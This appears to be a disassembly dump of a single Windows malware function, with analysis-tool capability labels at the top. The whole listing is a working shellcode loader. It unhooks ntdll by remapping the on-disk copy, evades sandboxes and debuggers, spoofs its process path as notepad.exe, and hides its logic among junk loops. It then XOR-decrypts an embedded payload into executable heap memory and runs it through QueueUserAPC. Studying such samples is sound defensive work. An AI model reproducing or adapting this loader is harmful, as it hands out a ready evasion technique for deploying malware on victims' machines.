Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x848
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7b0], xmm6
mov dword [rbp + 0x7f0], ecx
mov qword [rbp + 0x7f8], rdx
call fcn.1400029e0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x740], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x730], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
cmp qword [rbp + 0x7a8], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
cmp qword [rbp + 0x7a8], 0
je 0x14000188e
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
mov rax, qword [rbp + 0x730]
mov r10, qword [rbp + 0x7a8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x728], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x728]
add rax, rdx
mov qword [rbp + 0x700], rax
mov word [rbp + 0x7a6], 0
jmp 0x140001876
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x700]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7a6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001865
mov dword [rbp + 0x558], 0
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x728]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x79c], 1
jmp 0x1400017cc
mov dword [rbp + 0x7a0], 0
mov eax, dword [rbp + 0x79c]
mov dword [rbp + 0x798], eax
jmp 0x1400017a2
mov edx, dword [rbp + 0x798]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x6f0], edx
mov eax, dword [rbp + 0x6f0]
imul eax, eax
imul eax, dword [rbp + 0x6f0]
add dword [rbp + 0x7a0], eax
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x798], eax
cmp dword [rbp + 0x798], 0
jne 0x140001737
mov eax, dword [rbp + 0x7a0]
cmp eax, dword [rbp + 0x79c]
jne 0x1400017c5
mov eax, dword [rbp + 0x79c]
mov dword [rbp + 0x6f4], eax
add dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0x322
jle 0x14000171f
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x710]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x728]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x558]
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x728]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7a6]
add eax, 1
mov word [rbp + 0x7a6], ax
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7a6], ax
jb 0x14000166e
mov dword [rbp + 0x55c], 0
mov rax, qword [rbp + 0x740]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x55c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x6e4], 1
mov ecx, 0x74c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov qword [rbp + 0x790], 2
jmp 0x14000193e
mov rax, qword [rbp + 0x790]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x790], 1
cmp qword [rbp + 0x790], 0x1d2
jbe 0x140001917
mov qword [rbp + 0x790], 2
jmp 0x1400019d5
mov rax, qword [rbp + 0x790]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400019cd
mov rax, qword [rbp + 0x790]
mov qword [rbp + 0x788], rax
jmp 0x1400019b6
mov rax, qword [rbp + 0x790]
imul rax, qword [rbp + 0x788]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x788], 1
mov rax, qword [rbp + 0x790]
imul rax, qword [rbp + 0x788]
cmp rax, 0x1d2
jbe 0x140001987
add qword [rbp + 0x790], 1
cmp qword [rbp + 0x790], 0x1d2
jbe 0x140001958
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x568]
add rax, 0x3c
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6d0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x14000290f
mov rax, qword [rbp + 0x6c8]
mov edx, 0x48a
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6c4], eax
mov qword [rbp + 0x6b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4244680
mov ecx, 0
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
je 0x14000290f
mov rax, qword [rbp + 0x6b8]
mov edx, 0x4244680
mov rcx, rax
call fcn.140004a90
mov rax, qword [rbp + 0x6b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x780], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
je 0x140001bab
mov rax, qword [rbp + 0x6a8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6a0]
mov r9d, 0x3000
mov r8d, 0x305
mov edx, 0
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
je 0x14000290f
mov dword [rbp + 0x554], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x554]
mov r8, qword [rbp + 0x698]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x554]
cmp eax, 1
je 0x14000290f
mov qword [rbp + 0x690], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x688]
mov r9d, 0x3000
mov r8d, 0x40f
mov edx, 0
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x14000290f
mov qword [rbp + 0x680], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x678]
mov r9d, 0x3000
mov r8d, 0x482
mov edx, 0
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
je 0x14000290f
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
jne 0x14000290f
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
jne 0x14000290f
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x14000290f
mov rax, qword [rbp + 0x660]
mov edx, 0x5a0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x65c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
jne 0x14000290f
lea rax, [rbp + 0x100]
lea rdx, [0x140006138]
mov ecx, 0x89
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x738]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x640]
mov r8d, 0
mov edx, 0x44b
mov ecx, 0x40000
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x638]
mov r8d, 0x44b
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x778], 1
jmp 0x140001fa4
mov dword [rbp + 0x77c], 0
mov eax, dword [rbp + 0x778]
mov dword [rbp + 0x774], eax
jmp 0x140001f7a
mov edx, dword [rbp + 0x774]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5b4], edx
mov eax, dword [rbp + 0x5b4]
imul eax, eax
imul eax, dword [rbp + 0x5b4]
add dword [rbp + 0x77c], eax
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x774], eax
cmp dword [rbp + 0x774], 0
jne 0x140001f0f
mov eax, dword [rbp + 0x77c]
cmp eax, dword [rbp + 0x778]
jne 0x140001f9d
mov eax, dword [rbp + 0x778]
mov dword [rbp + 0x5b8], eax
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x3c5
jle 0x140001ef7
mov rax, qword [rbp + 0x740]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x620]
mov r8d, 0x44b
mov rcx, rax
call r9
mov dword [rbp + 0x770], 0xffffffff
add dword [rbp + 0x770], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x38e38e39
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x61c], eax
mov ecx, dword [rbp + 0x61c]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x61c], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006588]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x61c]
movq xmm0, rax
call fcn.140003c10
movq rax, xmm0
mov qword [rbp + 0x610], rax
cmp dword [rbp + 0x770], 0x195
jle 0x140002000
mov dword [rbp + 0x768], 0
mov dword [rbp + 0x764], 0
mov ecx, 0x1778
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x760], 0
jmp 0x1400020fc
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
movsd xmm1, qword [0x140006588]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x2ee
jle 0x1400020be
mov dword [rbp + 0x760], 0
jmp 0x140002199
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x760]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x608]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003be0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x2ee
jle 0x140002117
movabs rax, 0xb427e132bb1ae393
movabs rdx, 0xc9161074ad1c371b
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x7cdef8089ea50c9b
movabs rdx, 0xd9f889277dfff9f0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xfb9261ef315b4245
movabs rdx, 0xdda16042cd6a215a
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x5e1e7951086565
mov qword [rbp - 0x10], rax
movabs rax, 0x9023c93aac7288fb
movabs rdx, 0x941d8f4dfd1f9f9d
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x720174e87aeb27dd
movabs rdx, 0x9fd0a9ad318515f6
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x86fd20ad0a1b7c11
movabs rdx, 0xcb0b8155de8cc426
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x7b81d0c35bee9293
movabs rdx, 0xa60fb7f96f59c4c7
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xef10da83701b9458
movabs rdx, 0xd01954a65bb7b038
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xa33d025d39664cdf
movabs rdx, 0xd4e9162d03001794
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xee8f538cc698ff9
movabs rdx, 0x34038594f9710e3d
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x58c44b2c09f3f634
movabs rdx, 0x50f817d47735d4
mov qword [rbp + 0xef], rax
mov qword [rbp + 0xf7], rdx
mov dword [rbp + 0x76c], 0
jmp 0x1400025a7
mov ecx, 0x85c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
mov dword [rbp + 0x75c], 0
jmp 0x140002394
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x216
jle 0x140002347
mov dword [rbp + 0x75c], 0
jmp 0x140002484
cmp dword [rbp + 0x75c], 0
je 0x1400023f4
mov eax, dword [rbp + 0x75c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x75c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002400
add dword [rbp + 0x75c], 1
jmp 0x140002484
mov eax, dword [rbp + 0x75c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5bc], eax
mov eax, dword [rbp + 0x75c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x5d0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x75c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rdx, rax
mov eax, dword [rbp + 0x5bc]
mov dword [rdx], eax
sub dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x216
jle 0x1400023af
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x76c]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x768]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x76c]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x768], 0x36
jne 0x14000253c
mov dword [rbp + 0x758], 0
jmp 0x140002524
call sub.msvcrt.dll_rand
imul eax, eax, 0x11f
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006588]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003ce0
movq rax, xmm0
mov qword [rbp + 0x5c0], rax
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x3a4
jle 0x1400024e3
mov dword [rbp + 0x768], 0
jmp 0x1400025a0
movsd xmm0, qword [0x140006590]
movsd qword [rbp + 0x750], xmm0
movsd xmm0, qword [0x140006598]
movsd qword [rbp + 0x5c8], xmm0
jmp 0x140002587
movsd xmm0, qword [rbp + 0x5c8]
mov rax, qword [rbp + 0x750]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003eb0
movq rax, xmm0
mov qword [rbp + 0x750], rax
movsd xmm0, qword [0x1400065a0]
comisd xmm0, xmmword [rbp + 0x750]
ja 0x14000255e
add dword [rbp + 0x768], 1
add dword [rbp + 0x76c], 1
mov eax, dword [rbp + 0x76c]
cmp eax, 0x7d
jbe 0x14000232a
mov dword [rbp + 0x76c], 0
jmp 0x140002682
mov eax, dword [rbp + 0x76c]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x764]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x76c]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x764], 0x7d
jne 0x140002674
mov dword [rbp + 0x74c], 0xffffffff
add dword [rbp + 0x74c], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006588]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400039d0
movq rax, xmm0
mov qword [rbp + 0x5d8], rax
cmp dword [rbp + 0x74c], 0x148
jle 0x140002616
mov dword [rbp + 0x764], 0
jmp 0x14000267b
add dword [rbp + 0x764], 1
add dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x44a
jle 0x1400025c5
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov ecx, 0x6c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x748], 0
jmp 0x14000278b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x748]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x1af
jle 0x140002702
mov dword [rbp + 0x748], 0
jmp 0x1400028b7
mov dword [rbp + 0x5e4], 0
jmp 0x140002899
mov eax, dword [rbp + 0x748]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x5e4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002892
mov eax, dword [rbp + 0x5e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x5e0], xmm0
mov eax, dword [rbp + 0x748]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rdx, rax
mov eax, dword [rbp + 0x5e4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x5e4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movss xmm0, dword [rbp + 0x5e0]
movss dword [rax], xmm0
add dword [rbp + 0x748], 1
mov eax, 0x1af
sub eax, dword [rbp + 0x748]
cmp dword [rbp + 0x5e4], eax
jl 0x1400027b9
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x1af
jle 0x1400027aa
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x600]
mov r9, qword [rbp + 0x5f8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5f0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7b0]
add rsp, 0x848
pop rbx
pop rsi
pop rdi
pop rbp
ret